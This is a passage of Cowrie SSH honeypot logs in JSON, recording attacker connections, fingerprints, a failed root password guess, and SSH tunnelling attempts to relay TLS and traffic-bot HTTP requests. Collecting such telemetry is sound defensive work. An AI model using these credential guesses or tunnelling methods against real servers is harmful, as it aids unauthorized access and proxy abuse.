U\\xfe\\x9cI%\\xdf<\\x9f\\xb5w\\xc5\\xdd\\xd3\\x85S7\\xaaq\\xee\\x06]h\\xf8`\\xad3\\xfc\\x84T\\x81\\x1b*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:28.202326Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:28.442456Z","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:28.674528Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03O\\x1f(\\x912\\xc8R\\x95\\x1e7\\xa7QZ1\\xf2hh\\xb1\\x7f\\xa9!\\x01\\xea\\x1eR\\xc361\\x17\\xa7\\x84~ \\xf2\\xaf\\x9f5\\x1e\\x8d@R\\x16\\x0f\\x91\\xe0a8l\\xdd+:*\\x04X\\xces\\xd31j\\x99\\xac\\x96\\x060\\xef\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 iUma\\x8cC{\\xb0\\xc3NJ\\xe7\\n\\'\\xcc\\xb6\\xd0[\\x85{\\xd1$\\x91\\xf5\\xda\\x0f\\xce\\xbe\\xb7?\\x13u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03O\\x1f(\\x912\\xc8R\\x95\\x1e7\\xa7QZ1\\xf2hh\\xb1\\x7f\\xa9!\\x01\\xea\\x1eR\\xc361\\x17\\xa7\\x84~ \\xf2\\xaf\\x9f5\\x1e\\x8d@R\\x16\\x0f\\x91\\xe0a8l\\xdd+:*\\x04X\\xces\\xd31j\\x99\\xac\\x96\\x060\\xef\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 iUma\\x8cC{\\xb0\\xc3NJ\\xe7\\n\\'\\xcc\\xb6\\xd0[\\x85{\\xd1$\\x91\\xf5\\xda\\x0f\\xce\\xbe\\xb7?\\x13u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:28.677806Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:29.048737Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":44674,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71b579216e4","protocol":"ssh","message":"New connection: 101.79.165.43:44674 (159.203.135.109:22) [session: f71b579216e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:29.217978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:29.221745Z","src_ip":"101.79.165.43","session":"f71b579216e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:29.439054Z","src_ip":"101.79.165.43","session":"f71b579216e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx123","message":"login attempt [root/!QAZ2wsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:30.342104Z","src_ip":"101.79.165.43","session":"f71b579216e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.028978Z","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.065755Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5 Mobile/16H20 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SFY%2Fc1FvKldhQ0lsJn1veQ%3D%3DpsGYACGRnp6LuR12slZE4jWKlS7SeXAQ3170Vxo6owkuu1u1y4IrrmogEBkdjTmeOkRqsS4Wy0yeZ6dHtZz%2Fp6JRjfj0L85YdyjBSRA9qawmTDwZuYARzhCGKZwukT5CExqvXuEjNgM1z6CGAlQZ9%2B7jHlWaIYQhSR4RI4%2Bekn%2Fgw25oKBA1k4wL6m4c64Quj3lrxQ0y1mvqi50l2hWcxg2pynJaHV6FEGLfy80%2BmL0JjzJZD%2BBZSk9b6w2zJJDoi5qjgiFyIUlJH5WLwQwWzeDtwgFdpcKDPkkqYJ31%2FmVtgsGs3pwpiK5NiVoOFaNlA6j7nN8W3r%2B6v3x4HCq7G2M%2BUbFN5apAyyLCpcF%2BR1Qavz79n3uB9yptwjqeaYmdYVyGYbVw%2BQev5X84WkCWSWtnL6awHiV8jy%2BfYqfv%2BcpEMpswt2naszK14qIamuVSdtc2pe%2BOcBkDKdcCf13eAVRuaMpKfebKK46uwmAhCf9nGQ4cGV82xl276E8FzqZEj7%2Fc6qhkj8M1AA0HoxQeiC7wQKFrSc%2BrOdyvEKlZAIzlNtrZNIUrUOE%2BjFuV9uwWo%2BSuZubYKzv2KlZPWWoyX9AS8%2F6k8ZWmpY8BDsnCihOrvRwZRgPont3HZs0I5UCwvPwxeCre%2F%2Bdlg5uxfPdsJ87xKuvu%2FI9DYps1EY3WnXgq60l0p4pKdk0E6BRtlKAvqgwevoGklPUvX45zf7MFUBF9jJTRXg8xTndBBBZsi%2Bu3UpQw8hAxCN%2BA%2FsN4tEGSbWvW2IQuubQhOCdNGQIsWyNF%2FKzE0ls27HEqKqBnss1%2FNllcnCV773aCd2ZFRuYKxw%2FSWWKsusvALJeLwut5Lg8U5nt0FVfWdBV3qF%2Fj2Npk%2BNd0vNpayylEbrOGMsdfcR713Tg7erz%2BXTBIUYmT2wKcOAgO4reO85Hmdz3CTRGgVMLdY%2FKbEd4aY7hoMxTqVMrpkRnsO4BefnU%2BC%2BrnQlGfiBdz40EeOoGKsQf%2FcF0QdeR8hipbUdTOh9BPOrBjASzDTqDIIoK56q75phEDLgAIdVyATVLPDxeRmTM2utk%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5 Mobile/16H20 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SFY%2Fc1FvKldhQ0lsJn1veQ%3D%3DpsGYACGRnp6LuR12slZE4jWKlS7SeXAQ3170Vxo6owkuu1u1y4IrrmogEBkdjTmeOkRqsS4Wy0yeZ6dHtZz%2Fp6JRjfj0L85YdyjBSRA9qawmTDwZuYARzhCGKZwukT5CExqvXuEjNgM1z6CGAlQZ9%2B7jHlWaIYQhSR4RI4%2Bekn%2Fgw25oKBA1k4wL6m4c64Quj3lrxQ0y1mvqi50l2hWcxg2pynJaHV6FEGLfy80%2BmL0JjzJZD%2BBZSk9b6w2zJJDoi5qjgiFyIUlJH5WLwQwWzeDtwgFdpcKDPkkqYJ31%2FmVtgsGs3pwpiK5NiVoOFaNlA6j7nN8W3r%2B6v3x4HCq7G2M%2BUbFN5apAyyLCpcF%2BR1Qavz79n3uB9yptwjqeaYmdYVyGYbVw%2BQev5X84WkCWSWtnL6awHiV8jy%2BfYqfv%2BcpEMpswt2naszK14qIamuVSdtc2pe%2BOcBkDKdcCf13eAVRuaMpKfebKK46uwmAhCf9nGQ4cGV82xl276E8FzqZEj7%2Fc6qhkj8M1AA0HoxQeiC7wQKFrSc%2BrOdyvEKlZAIzlNtrZNIUrUOE%2BjFuV9uwWo%2BSuZubYKzv2KlZPWWoyX9AS8%2F6k8ZWmpY8BDsnCihOrvRwZRgPont3HZs0I5UCwvPwxeCre%2F%2Bdlg5uxfPdsJ87xKuvu%2FI9DYps1EY3WnXgq60l0p4pKdk0E6BRtlKAvqgwevoGklPUvX45zf7MFUBF9jJTRXg8xTndBBBZsi%2Bu3UpQw8hAxCN%2BA%2FsN4tEGSbWvW2IQuubQhOCdNGQIsWyNF%2FKzE0ls27HEqKqBnss1%2FNllcnCV773aCd2ZFRuYKxw%2FSWWKsusvALJeLwut5Lg8U5nt0FVfWdBV3qF%2Fj2Npk%2BNd0vNpayylEbrOGMsdfcR713Tg7erz%2BXTBIUYmT2wKcOAgO4reO85Hmdz3CTRGgVMLdY%2FKbEd4aY7hoMxTqVMrpkRnsO4BefnU%2BC%2BrnQlGfiBdz40EeOoGKsQf%2FcF0QdeR8hipbUdTOh9BPOrBjASzDTqDIIoK56q75phEDLgAIdVyATVLPDxeRmTM2utk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.068700Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.201756Z","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.247614Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbaA\\xb2\\x9a\\xb0t)b\\t\\xdb\\xf9\\xddu \\xa3\\x05$\\x88\\x15Z\\xd3\\xd94`.<\\x83\\xab\\xce\\xdas\\xab \\x9a\\x08\\xc4\\xbc\\x94\\x0f\\xc2\\x90\\xd7\\xee\\xd8/ P\\x86\\xfamR\\xf6\\xf9\\xb4Mx\\x06\\xef\\xf9\\xb9\\x12bEs\\xb4\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x06\\x8c\\x9d\\xb2\\x8a\\xbb#+\\xa6Uq\\xb1\\xee\\xf8\\xddYAnhn\\xcb\\xb6\\x1e\\xd1\\x88<\\x7f\\xfa\\x05\\xe3\\xc4\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbaA\\xb2\\x9a\\xb0t)b\\t\\xdb\\xf9\\xddu \\xa3\\x05$\\x88\\x15Z\\xd3\\xd94`.<\\x83\\xab\\xce\\xdas\\xab \\x9a\\x08\\xc4\\xbc\\x94\\x0f\\xc2\\x90\\xd7\\xee\\xd8/ P\\x86\\xfamR\\xf6\\xf9\\xb4Mx\\x06\\xef\\xf9\\xb9\\x12bEs\\xb4\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x06\\x8c\\x9d\\xb2\\x8a\\xbb#+\\xa6Uq\\xb1\\xee\\xf8\\xddYAnhn\\xcb\\xb6\\x1e\\xd1\\x88<\\x7f\\xfa\\x05\\xe3\\xc4\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\